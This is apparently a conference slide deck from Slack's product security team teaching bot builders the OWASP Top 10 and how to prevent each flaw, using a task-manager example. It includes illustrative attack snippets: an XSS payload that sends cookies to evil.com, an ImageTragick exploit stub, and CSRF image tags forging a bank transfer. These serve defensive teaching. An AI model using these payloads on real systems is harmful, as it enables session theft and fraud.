This document provides security best practices for bot builders. It discusses common web application vulnerabilities like injection, broken authentication, cross-site scripting, insecure direct object references, security misconfiguration, sensitive data exposure, missing function level access control, cross-site request forgery, using components with known vulnerabilities, and underprotected APIs. The document uses an example of building a task management app to demonstrate how to find and prevent these vulnerabilities, emphasizing that user input should not be trusted and the principle of least privilege. Key takeaways are to design securely from the beginning, limit permissions to the minimum required, and think about how an attacker could abuse systems. Helpful security resources are also provided.

2. Security Best Practices
For Bot Builders

3. Questions? Comments?
Tweet questions, photos or GIFs at
#SlackDevTour or @SlackAPI 😁

4. Hi! I’m Max Feldman
Product Security @ Slack
mfeldman@slack-corp.com
@MrsBufferworths
https://img.wonderhowto.com/img/50/81/63545703386404/0/advice-from-real-hacker-protect-yourself-from-being-hacked.1280x600.jpg

5. Agenda
● Common web application vulnerabilities
(OWASP Top 10)
● Designing an example bot and
○ Finding these vulnerabilities
○ Preventing these vulnerabilities
● Q&A

6. Why should you care?
● Put food on the table
● A hack can be devastating to users,
and in turn, to business

7. Why should you care?
● Bots operating in an enterprise
handle highly sensitive information
● Our customers trust us (Slack and
you) to keep their data secure
● Slack conducts security reviews of
App Directory apps

8. Bots and Integrations
● Bot - digital user, powered by
software
● Integration - linking of multiple
services (e.g. a 3rd-party integrates
with Slack via a slash command)
○ A bot can be part of an
integration

9. Web Application Security
● Bots and integrations generally rely
on websites/servers
● We need to ensure the security of all
components to ensure the security
of our customers

10. OWASP Top 10
https://www.owasp.org/index.php/Top_10_2013-Top_10
● OWASP: Open Web Application Security Project
○ Dedicated to web security
○ Makes handy tools (more later)
● Top 10: the top 10 most critical web application
vulnerabilities

11. Dynamic Web Pages
● A lot of security issues result from trusting user input (as it’s run
on the backend, displayed on the page, etc.)
● Modern web apps are complex - be aware of user input sources
User
Input

12. 1. Injection
● General injection flaws (attacker code running on server)
○ SQLi, OS, others
○ Outcome = remote code execution, arbitrary file read, others
● Remote code execution
○ Attackers can run code on your server

13. 1. Injection
● Remote code execution
○ E.g. Image Tragick - exploit.mvg - processing this image would
result in arbitrary call being executed
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://127.0.0.1/oops.jpg”|<arbitrary call>)’
pop graphic-context
● SQL injection
○ Untrusted user input is parsed and interpreted as SQL code
○ Database dumps, can also lead to RCE

14. 2. Broken Authentication and Session Management
● Weak session tokens, values which get repeated
● No auth checks
● All sorts of diverse problems
○ Sessions not verified
○ Secrets not securely generated/long enough
● A door with no lock
https://www.owasp.org/index.php/Authentication_Cheat_Sheet
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet

15. 3. Cross-Site Scripting
● Attacker injects Javascript into a web page, which then runs in the
context of that page
● User input is everywhere in dynamic web pages - if left
unsanitized, the browser will interpret it as code
XSS
Potential

16. 3. Cross-Site Scripting
● Cookies - keys to the web application
○ We (we are hackers now) want to steal them
○ Example cookie theft payload:
document.write('<img
src="https://evil.com/collect.gif?cookie=' +
document.cookie + '" />')
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

17. 4. Insecure Direct Object Reference

18. 5. Security Misconfiguration
● Out-of-date software
● Unnecessary services running
● Default accounts/passwords
enabled
● Debug mode, stack traces on,
etc

19. 6. Sensitive Data Exposure
● Not adequately protecting data
● Plaintext storage of passwords (or unsalted hashes), logging of
sensitive information
● Not using HTTPS/SSL/encrypted communication

20. 7. Missing Function Level Access Control
● Security which relies on the secrecy of the function itself
○ API functionality which doesn’t perform access control
checks (even though the functionality is not exposed in the
UI) - can be performed with just the request
○ Navigating directly to hidden pages
(http://example.com/app/admin)

21. 8. Cross-Site Request Forgery
● Cross-site request forgery
○ Post-authentication, user is forced to perform a state-
changing request
○ The server only sees an authenticated request telling it to
change state, acts accordingly
● Bank example:
○ https://bank.com/transfer?to=mom&amount=20

22. 8. Cross-Site Request Forgery
● Cross-site request forgery
○ Post-authentication, user is forced to perform a state-
changing request
○ The server only sees an authenticated request telling it to
change state, acts accordingly
● Bank example:
○ https://bank.com/transfer?to=mom&amount=20
● GET
<img src=bank.com/transfer?to=evilAccount&amount=10000...>
● POST requests also possible

23. 9. Using Components with Known Vulnerabilities
● Don’t use things that have known vulnerabilities!
● They are vulnerable

24. 10. Underprotected APIs*
● API endpoints which have vulnerabilities or lack
protection/prevention measures, e.g.
○ An API endpoint which doesn’t perform authentication
○ An HTTP endpoint
● Don’t assume that API endpoints will only receive requests from
well-behaving users
○ Even if the APIs are for a mobile app/backend, attackers can
intercept traffic
* This is from the release candidate for the new OWASP Top 10
(overlaps a bit with #7)

25. How to find and prevent
these vulnerabilities
Scenario: Building a Task Management App

26. What should our task
manager do?
● Integrate an existing task management service
(taskbot-site.com)
● Users use a slash command to manage
(create/edit/delete) and view tasks
● Users can also manage tasks from taskbot-
site.com

27. How do we find and
prevent vulnerabilities?
Don’t trust anything!
Let’s walk through the OWASP Top 10
XSS, CSRF, SSL issues are what we see most often
(in App Directory reviews)

28. 1. Injection
● Let’s say taskbot-site.com has an API, which receives
requests and then creates a Task
● E.g.
POST taskbot-site.com/create
task=”Don’t get hacked”
● Tasks are stored into a SQL DB
● Don’t trust user input!
● Use bind variables/paramaterized statements for SQL
● Don’t put user input in places where it may be executed

29. 2. Broken Authentication and Session Management
● How does the API know who is actually creating the request?
POST taskbot-site.com/create
task=”Don’t get hacked”
user=”Happy user”
● An attacker can modify the user parameter if we blindly trust it
● Check that sensitive actions require authorization
● Authenticate users, use best practices for session management
○ Most web app frameworks offer these capabilities
○ Burp, ZAP can find some of these issues
● Keep secrets secret! (and unguessable)

30. 3. Cross-Site Scripting
● Let’s say taskbot-site.com has a web frontend for searching
through your tasks
○ taskbot-site.com/search?param=”laundry”
● What if param=<malicious javascript>?

31. 3. Cross-Site Scripting
● We need to look for places with user input and make sure we
encode them on the page (your framework can probably do this)
○ &lt; &gt; etc. (HTML entities)
● OWASP has a cheat sheet of inputs which may trigger XSS -
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sh
eet
● Don’t trust user input!
● ZAP, Burp

32. 4. Insecure Direct Object Reference
● We want users to be able to view their tasks at taskbot-
site.com/TaskID
● A new user signs up and creates a task, which points to taskbot-
site.com/10012
● What happens if they go to taskbot-site.com/10011?
● Make sure to check authorization for all privileged resources!
○ Most web application frameworks offer this

33. 5. Security Misconfiguration
● Follow the best practices for the security of your framework
○ Disable default credentials
○ Disable verbose debugs, stack traces
● Run/provide access to only what is necessary
● Principle of least privilege - request only the permissions that you
need
○ If using OAuth, request scope with minimum required
capabilities (https://api.slack.com/docs/oauth-scopes)

34. 6. Sensitive Data Exposure
● Use SSL/TLS!
○ But don’t use weak ciphers/protocols
○ Qualys SSL Test, sslyze to test your server
● Do people need to login to taskbot-site.com/TaskID
○ How do we store sensitive information (passwords, etc.)?
■ Plaintext = bad
■ bcrypt, PBKDF2 = good
● Be aware of how data is transmitted and stored - avoid plaintext

35. 7. Missing Function Level Access Control
● taskbot-site.com/admin - how do we control access to this
page?
○ Check that users are authenticated and authorized to reach
this content
● Require auth for these pages
○ Be aware of what these pages are!
○ Admin pages, default pages from the framework
○ Burp and ZAP can help automate this

36. 8. Cross-Site Request Forgery
● Task creation directly from taskbot-site.com
GET taskbot-site.com/create?task=”Don’t get
hacked”
● An attacker can create a malicious page containing this request,
<html><img src=taskbot-site.com/create?task=”DO
get hacked”></html>
● Check for state-changing actions, and add CSRF-prevention (a
CSRF token)
● POST taskbot-site.com/create?task=”Don’t get
hacked”

37. 8. Cross-Site Request Forgery
● CSRF prevention done via CSRF tokens
○ Tokens not sent automatically (so an attacker can’t guess
them)
○ Can be POST data or part of the header
● POST taskbot-site.com/create
task=”Don’t get hacked”&csrf_token=<random>
● Most frameworks provide CSRF prevention mechanisms
● ZAP, Burp

38. 9. Using Components with Known Vulnerabilities
● Nikto is a good general scanner
● Many language or framework-specific scanners as well
○ (wpscan for wordpress)
● Update and patch your systems and your software!
● For example, don’t run taskbot-site.com on Apache 1.0 on
an OS from 1994

39. 10. Underprotected APIs
● Suppose we want taskbot-site.com/create to be available
to Slack, but we assume users won’t use it
○ If we have no protection, attackers can still find and use this
API endpoint
○ Verify that requests originate from Slack (we send along a
token for verification, https://api.slack.com/tutorials/your-
first-slash-command)
● Check hidden/unpublished APIs as well (attackers can still access
them)

40. Security Development Lifecycle
● We’ve talked about specific vulnerabilities, but also be aware of
the development process

41. Key Takeaways
● Don’t trust user input!
○ Where is dynamic data influencing control of
your application
○ Think of how an attacker might abuse your
system
● Think about security from the beginning
○ Use an SDL, design securely, have a process

42. Key Takeaways
● Principle of least privilege - limit the power and
permissions allowed to services to bare
minimum
○ Restrict OAuth scope to what’s necessary
○ Over-permissioned services are dangerous

43. Q&A

44. Helpful Resources
OWASP
Nikto
ZAP, Burp
WPScan
Qualys SSL, SSLyze
sqlmap
Nmap
General Slack Security
Slack App Directory Security Review

45. Stay in touch
● Install the Platform News App for fresh
news, delivered straight to Slack
● Chat with us on Twitter @SlackAPI